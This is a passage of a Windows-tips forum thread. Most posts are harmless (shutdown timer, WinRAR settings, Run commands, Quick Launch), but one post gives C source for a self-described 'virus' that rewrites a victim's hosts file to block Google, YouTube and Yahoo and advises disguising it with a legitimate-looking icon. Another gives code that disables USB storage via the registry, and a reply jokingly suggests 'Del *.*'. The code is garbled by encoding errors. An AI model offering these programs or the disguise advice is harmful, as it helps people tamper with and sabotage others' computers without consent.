Overclock.net › Forums › Software, Programming and Coding › Operating Systems › Windows › Tips and secrets to make your tech life easy
New Posts  All Forums:Forum Nav:

Tips and secrets to make your tech life easy - Page 5  

post #41 of 54
Thread Starter 
how to block websites using c code

Most of us are familiar with the virus that used to block Orkut and Youtube site. creating such a on . I will give a brief introduction about this code before I jump into the technical jargon.

This code has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the code. This program need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode
Quote:
#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.comâ€,
“http://www.google.com%e2%80%9d/,
“youtube.comâ€,
“http://www.youtube.com%e2%80%9d/,
“yahoo.comâ€,
“http://www.yahoo.com%e2%80%9d/
};
char ip[12]=â€127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(â€C:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\ hostsâ€,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(â€C:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\ hostsâ€,â€r+â€);
/*to open the file*/
return 1;
}

done=findfirst(â€D:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\ hostsâ€,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(â€D:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\ hostsâ€,â€r+â€);
/*to open the file*/
return 1;
}

done=findfirst(â€E:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\ hostsâ€,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(â€E:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\ hostsâ€,â€r+â€);
/*to open the file*/
return 1;
}

done=findfirst(â€F:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hostsâ€,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(â€F:\\\\windows\\\\system32\\\\drivers\\\\etc\\\\ hostsâ€,â€r+â€);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,â€\
â€);

for(i=0;i<6;i++)
fprintf(target,â€%s\%s\
â€,ip,site_list[i]);

fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

compile the program using turboc and launch the .exe file generated
Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
Code:
Quote:
%windir%\\system32\\drivers\\etc

4. There, open the file named “hosts†using the notepad.At the bottom of the opened file you’ll see something like this

Code:
Quote:
127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the program to make it look like a legitimate program
Edited by Hardcore AMD - 1/10/11 at 2:33am
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
post #42 of 54
Thread Starter 
just for education purpose-code to enable and disable usb ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you
’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

To disable the USB ports

Quote:
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\ \\\Services\\\\USBSTOR \\/v Start \\/t REG_DWORD \\/d 4 \\/f");
}


save as block_usb.c and compile using turboc

Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected.

To re-enable the USB ports
Code:

Quote:
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\ \\\Services\\\\USBSTOR \\/v Start \\/t REG_DWORD \\/d 3 \\/f");
}


save as unblock_usb.c and compile using turboc and then
just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
post #43 of 54
Thread Starter 
How to Make a Shutdown Timer

Step 1.

Right Click on your desktop and choose "New->Shortcut".

Step 2.

In the box that says "Type the location of the shortcut", type in shutdown -s -t 3600 and click next.

Note: 3600 are the amount of seconds before your computer shuts down. So, 60secs*60mins=3600secs.

Step 3.

Make up a name for the shortcut and you're done.
You can change the icon by right clicking->properities->change icon-> browse.

More Info:
To make an abort key to stop the shutdown timer just create another shortcut and make the "location of the shortcut" to shutdown -a
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
post #44 of 54
Thread Starter 
Compress files 10% more than the normal method (winrar)

Right click on your file and select "Add to archive
…" from the context menu. A dialog box will appear.

In the General Tab, click "Compression Method." A dropdown menu will appear, select "Best".

Click on the Advanced Tab, then click the "Compression..." button. The "Advanced Compression Parameters" dialog box will appear.

In the Text Compression section, select Force and in Prediction Order type 63. For the Memory to use type 128. Then click Ok twice.


This method will compress files 10% more than the normal method

__________________

The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
post #45 of 54
Thread Starter 
Useful RUN commands!!!

Accessibility Controls - access.cpl

Add Hardware Wizard - hdwwiz.cpl

Add/Remove Programs - appwiz.cpl

Administrative Tools - control admintools

Automatic Updates - wuaucpl.cpl

Bluetooth Transfer Wizard - fsquirt

Calculator - calc

Certificate Manager - certmgr.msc

Character Map - charmap

Check Disk Utility - chkdsk

Clipboard Viewer - clipbrd

Command Prompt - cmd

Component Services - dcomcnfg

Computer Management - compmgmt.msc

Date and Time Properties - timedate.cpl

DDE Shares - ddeshare

Device Manager - devmgmt.msc

Direct X Control Panel (If Installed)* - directx.cpl

Direct X Troubleshooter - dxdiag

Disk Cleanup Utility - cleanmgr

Disk Defragment - dfrg.msc

Disk Management - diskmgmt.msc

Disk Partition Manager - diskpart

Display Properties - control desktop

Display Properties - desk.cpl

Display Properties (w/Appearance Tab Preselected) - control color

Dr. Watson System Troubleshooting Utility - drwtsn32

Driver Verifier Utility - verifier

Event Viewer - eventvwr.msc

File Signature Verification Tool - sigverif

Findfast - findfast.cpl

Folders Properties - control folders

Fonts - control fonts

Fonts Folder - fonts

Free Cell Card Game - freecell

Game Controllers - joy.cpl

Group Policy Editor (XP Prof) - gpedit.msc

Hearts Card Game - mshearts

Iexpress Wizard - iexpress

Indexing Service - ciadv.msc

Internet Properties - inetcpl.cpl

IP Configuration (Display Connection Configuration) - ipconfig /all

IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents) - ipconfig /flushdns

IP Configuration (Release All Connections) - ipconfig /release

IP Configuration (Renew All Connections) - ipconfig /renew

IP Configuration (Refreshes DHCP & Re - Registers DNS) - ipconfig /registerdns

IP Configuration (Display DHCP Class ID) - ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID) - ipconfig /setclassid

Java Control Panel (If Installed) - jpicpl32.cpl

Java Control Panel (If Installed) - javaws

Keyboard Properties - control keyboard

Local Security Settings - secpol.msc

Local Users and Groups - lusrmgr.msc

Logs You Out Of Windows - logoff

Microsoft Chat - winchat

Minesweeper Game - winmine

Mouse Properties - control mouse

Mouse Properties - main.cpl

Network Connections - control netconnections

Network Connections - ncpa.cpl

Network Setup Wizard - netsetup.cpl

Notepad - notepad

Nview Desktop Manager (If Installed) - nvtuicpl.cpl

Object Packager - packager

ODBC Data Source Administrator - odbccp32.cpl

On Screen Keyboard - osk

Opens AC3 Filter (If Installed) - ac3filter.cpl

Password Properties - password.cpl

Performance Monitor - perfmon.msc

Performance Monitor - perfmon

Phone and Modem Options - telephon.cpl

Power Configuration - powercfg.cpl

Printers and Faxes - control printers

Printers Folder - printers

Private Character Editor - eudcedit

Quicktime (If Installed) - QuickTime.cpl

Regional Settings - intl.cpl

Registry Editor - regedit

Registry Editor - regedit32

Remote Desktop - mstsc

Removable Storage - ntmsmgr.msc

Removable Storage Operator Requests - ntmsoprq.msc

Resultant Set of Policy (XP Prof) - rsop.msc

Scanners and Cameras - sticpl.cpl

Scheduled Tasks - control schedtasks

Security Center - wscui.cpl

Services - services.msc

Shared Folders - fsmgmt.msc

Shuts Down Windows - shutdown

Sounds and Audio - mmsys.cpl

Spider Solitare Card Game - spider

SQL Client Configuration - cliconfg

System Configuration Editor - sysedit

System Configuration Utility - msconfig

System File Checker Utility (Scan Immediately) - sfc /scannow

System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce

System File Checker Utility (Scan On Every Boot) - sfc /scanboot

System File Checker Utility (Return to Default Setting) - sfc /revert

System File Checker Utility (Purge File Cache) - sfc /purgecache

System File Checker Utility (Set Cache Size to size x) - sfc /cachesize=x

System Properties - sysdm.cpl

Task Manager - taskmgr

Telnet Client - telnet

User Account Management - nusrmgr.cpl

Utility Manager - utilman

Windows Firewall - firewall.cpl

Windows Magnifier - magnify

Windows Management Infrastructure - wmimgmt.msc

Windows System Security Tool - syskey

Windows Update Launches - wupdmgr

Wordpad - write
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
The Dragon
(13 items)
 
  
CPUMotherboardGraphicsRAM
Phenom II X4 955 Black Edition Asus M4A78T-EM XFX Radeon HD 4650 4 GB 
Hard DriveOSMouse
Seagate 500GB Win7 64 Bit Logitech 
  hide details  
post #46 of 54
Any particular reason for spewing a bunch of random crap?
Waiting on X399
(13 items)
 
  
CPUMotherboardGraphicsRAM
AMD Phenom II B57 @ X4 3.9 Gigabyte 790FXTA-UD5 Sapphire Radeon 290 8 GB G.Skill 2133 
Hard DriveCoolingOSKeyboard
250 GB 840 EVO Noctua NH-D14 Windows 10 Logitech K350 
PowerCaseMouseMouse Pad
Seasonic x750 Corsair 600T Logitech G100s Razer Goliathus Speed 
Audio
Plantronics Gamecom 788 
  hide details  
Waiting on X399
(13 items)
 
  
CPUMotherboardGraphicsRAM
AMD Phenom II B57 @ X4 3.9 Gigabyte 790FXTA-UD5 Sapphire Radeon 290 8 GB G.Skill 2133 
Hard DriveCoolingOSKeyboard
250 GB 840 EVO Noctua NH-D14 Windows 10 Logitech K350 
PowerCaseMouseMouse Pad
Seasonic x750 Corsair 600T Logitech G100s Razer Goliathus Speed 
Audio
Plantronics Gamecom 788 
  hide details  
post #47 of 54
Quote:
Originally Posted by Hardcore AMD View Post
Add the Quick Launch Bar to the Taskbar in Windows 7

The above screenshot is the Windows 7 taskbar after changing back to XP/Vista mode, and adding the quick launch bar back. Looks just like Vista doesn
’t it?

Adding the Quick Launch Bar Back to Windows 7

To add the toolbar back, you
’ll want to right-click on an open area of the taskbar, and choose Toolbars \\ New Toolbar from the menu. You should probably also unlock the taskbar at this point.

Now
’s the slightly tricky part… you’ll want to paste the following path into the location bar:

Code:
%appdata%\\Microsoft\\Internet Explorer\\Quick Launch
Make sure that the location bar shows the full path, like the next screenshot, before you choose the
“Select Folder” button.

You
’ll immediately notice the Quick Launch toolbar on the taskbar, but it’s all the way over on the right, so you’ll want to click on the dotted lines and then drag the toolbar all the way to the left (which is slightly tricky sometimes). Note that you’ll need to right-click and unlock the taskbar before you can move the toolbar.

There we go, it
’s over on the left… but now you’ll want to adjust the regular taskbar toolbar to be closer to the left, so use the dotted lines to drag it over as well.

The normal Quick Launch that we
’re used to doesn’t have text, so right-click on the dotted lines and uncheck “Show Text” as well as“Show Title” from the menu.

Once you
’re sure it’s the way you want it, you should check the “Lock the taskbar” again.

And there you are, the quick launch bar has returned and there
’s virtually no way anybody would know this is Windows 7.
Hey:

Windows 7 tutorial: How to get the Quick Launch toolbar


I am curious though: are you trying to get more Rep points?
It's a computer!
(19 items)
 
  
CPUMotherboardGraphicsRAM
i5-2500K @ 4.5GHz (1.368-1.384V fixed voltage) ASUS P8P67 EVO B3 (UEFI ver. 1850) GTX 780 ASUS DirectCU II (1228 / 6300, 1.180V) G.SKILL Ripjaws X 8GB (2 x 4GB) 1866MHz, CL9 
Hard DriveHard DriveHard DriveOptical Drive
250 GB Samsung 840 EVO (C:\) 250 GB Samsung 840 EVO (D:\) 150 GB WD VelociRaptor Samsung SH-S243N 24x DVD Burner 
Optical DriveCoolingOSMonitor
Samsung SH-S203N 20X DVD Burner Thermaltake Frio Win 7 Home Premium x64 SP1 Retail AOC G2460PG (24" 1920 x 1080 144Hz G-SYNC) 
KeyboardPowerCaseMouse
Filco Majestouch 104-key Cherry MX Blues w/NKRO Corsair HX650 (Bronze, ordered on 12-12-2009) CM 690 Intellimouse Optical (1.1A) 1000Hz polling rate 
Mouse PadAudioAudio
Basic, but premium round X-Fi Titanium HD Klipsch ProMedia 2.1 (with 16 AWG Monster Cable... 
  hide details  
It's a computer!
(19 items)
 
  
CPUMotherboardGraphicsRAM
i5-2500K @ 4.5GHz (1.368-1.384V fixed voltage) ASUS P8P67 EVO B3 (UEFI ver. 1850) GTX 780 ASUS DirectCU II (1228 / 6300, 1.180V) G.SKILL Ripjaws X 8GB (2 x 4GB) 1866MHz, CL9 
Hard DriveHard DriveHard DriveOptical Drive
250 GB Samsung 840 EVO (C:\) 250 GB Samsung 840 EVO (D:\) 150 GB WD VelociRaptor Samsung SH-S243N 24x DVD Burner 
Optical DriveCoolingOSMonitor
Samsung SH-S203N 20X DVD Burner Thermaltake Frio Win 7 Home Premium x64 SP1 Retail AOC G2460PG (24" 1920 x 1080 144Hz G-SYNC) 
KeyboardPowerCaseMouse
Filco Majestouch 104-key Cherry MX Blues w/NKRO Corsair HX650 (Bronze, ordered on 12-12-2009) CM 690 Intellimouse Optical (1.1A) 1000Hz polling rate 
Mouse PadAudioAudio
Basic, but premium round X-Fi Titanium HD Klipsch ProMedia 2.1 (with 16 AWG Monster Cable... 
  hide details  
post #48 of 54
The star wars ascii, albeit older than the internet itself, is still cool.
post #49 of 54
How bout;

Del *.*

Y to confirm

SkunkWorkZ
(17 items)
 
  
CPUMotherboardGraphicsRAM
AMD FX-8370 4.0GHz (4.5GHz Turbo) Socket AM3+ D... ASUS TUF Sabertooth 990FX r3.0 MSI GeForce GTX 1060 Gaming X 6G Gskill Ripjaws Z Series 32GB 240-Pin DDR3 1866 ... 
Hard DriveHard DriveHard DriveCooling
Samsung-850-EVO-M.2 500 GB SSD Samsung 850 EVO 500GB SSD Mushkin ECO 3 Lepa 240 Aqua 
OSMonitorKeyboardPower
Win 10 Home Acer 144HZ 1ms Corsair RGB Strafe, MX Silent SeaSonic X750 Gold 
CaseMouseAudioAudio
Phantek Ethroo Pro White Logitech G500 X-FI Titanium Logitech X530 5.1 
Other
Deep Cool 360RGB Lights 
  hide details  
SkunkWorkZ
(17 items)
 
  
CPUMotherboardGraphicsRAM
AMD FX-8370 4.0GHz (4.5GHz Turbo) Socket AM3+ D... ASUS TUF Sabertooth 990FX r3.0 MSI GeForce GTX 1060 Gaming X 6G Gskill Ripjaws Z Series 32GB 240-Pin DDR3 1866 ... 
Hard DriveHard DriveHard DriveCooling
Samsung-850-EVO-M.2 500 GB SSD Samsung 850 EVO 500GB SSD Mushkin ECO 3 Lepa 240 Aqua 
OSMonitorKeyboardPower
Win 10 Home Acer 144HZ 1ms Corsair RGB Strafe, MX Silent SeaSonic X750 Gold 
CaseMouseAudioAudio
Phantek Ethroo Pro White Logitech G500 X-FI Titanium Logitech X530 5.1 
Other
Deep Cool 360RGB Lights 
  hide details  
post #50 of 54
Quote:
Originally Posted by BinaryBummer View Post
How bout;

Del *.*

Y to confirm

hehe exactly.
It's a computer!
(19 items)
 
  
CPUMotherboardGraphicsRAM
i5-2500K @ 4.5GHz (1.368-1.384V fixed voltage) ASUS P8P67 EVO B3 (UEFI ver. 1850) GTX 780 ASUS DirectCU II (1228 / 6300, 1.180V) G.SKILL Ripjaws X 8GB (2 x 4GB) 1866MHz, CL9 
Hard DriveHard DriveHard DriveOptical Drive
250 GB Samsung 840 EVO (C:\) 250 GB Samsung 840 EVO (D:\) 150 GB WD VelociRaptor Samsung SH-S243N 24x DVD Burner 
Optical DriveCoolingOSMonitor
Samsung SH-S203N 20X DVD Burner Thermaltake Frio Win 7 Home Premium x64 SP1 Retail AOC G2460PG (24" 1920 x 1080 144Hz G-SYNC) 
KeyboardPowerCaseMouse
Filco Majestouch 104-key Cherry MX Blues w/NKRO Corsair HX650 (Bronze, ordered on 12-12-2009) CM 690 Intellimouse Optical (1.1A) 1000Hz polling rate 
Mouse PadAudioAudio
Basic, but premium round X-Fi Titanium HD Klipsch ProMedia 2.1 (with 16 AWG Monster Cable... 
  hide details  
It's a computer!
(19 items)
 
  
CPUMotherboardGraphicsRAM
i5-2500K @ 4.5GHz (1.368-1.384V fixed voltage) ASUS P8P67 EVO B3 (UEFI ver. 1850) GTX 780 ASUS DirectCU II (1228 / 6300, 1.180V) G.SKILL Ripjaws X 8GB (2 x 4GB) 1866MHz, CL9 
Hard DriveHard DriveHard DriveOptical Drive
250 GB Samsung 840 EVO (C:\) 250 GB Samsung 840 EVO (D:\) 150 GB WD VelociRaptor Samsung SH-S243N 24x DVD Burner 
Optical DriveCoolingOSMonitor
Samsung SH-S203N 20X DVD Burner Thermaltake Frio Win 7 Home Premium x64 SP1 Retail AOC G2460PG (24" 1920 x 1080 144Hz G-SYNC) 
KeyboardPowerCaseMouse
Filco Majestouch 104-key Cherry MX Blues w/NKRO Corsair HX650 (Bronze, ordered on 12-12-2009) CM 690 Intellimouse Optical (1.1A) 1000Hz polling rate 
Mouse PadAudioAudio
Basic, but premium round X-Fi Titanium HD Klipsch ProMedia 2.1 (with 16 AWG Monster Cable... 
  hide details  
New Posts  All Forums:Forum Nav:
  Return Home
  Back to Forum: Windows
This thread is locked  
Overclock.net › Forums › Software, Programming and Coding › Operating Systems › Windows › Tips and secrets to make your tech life easy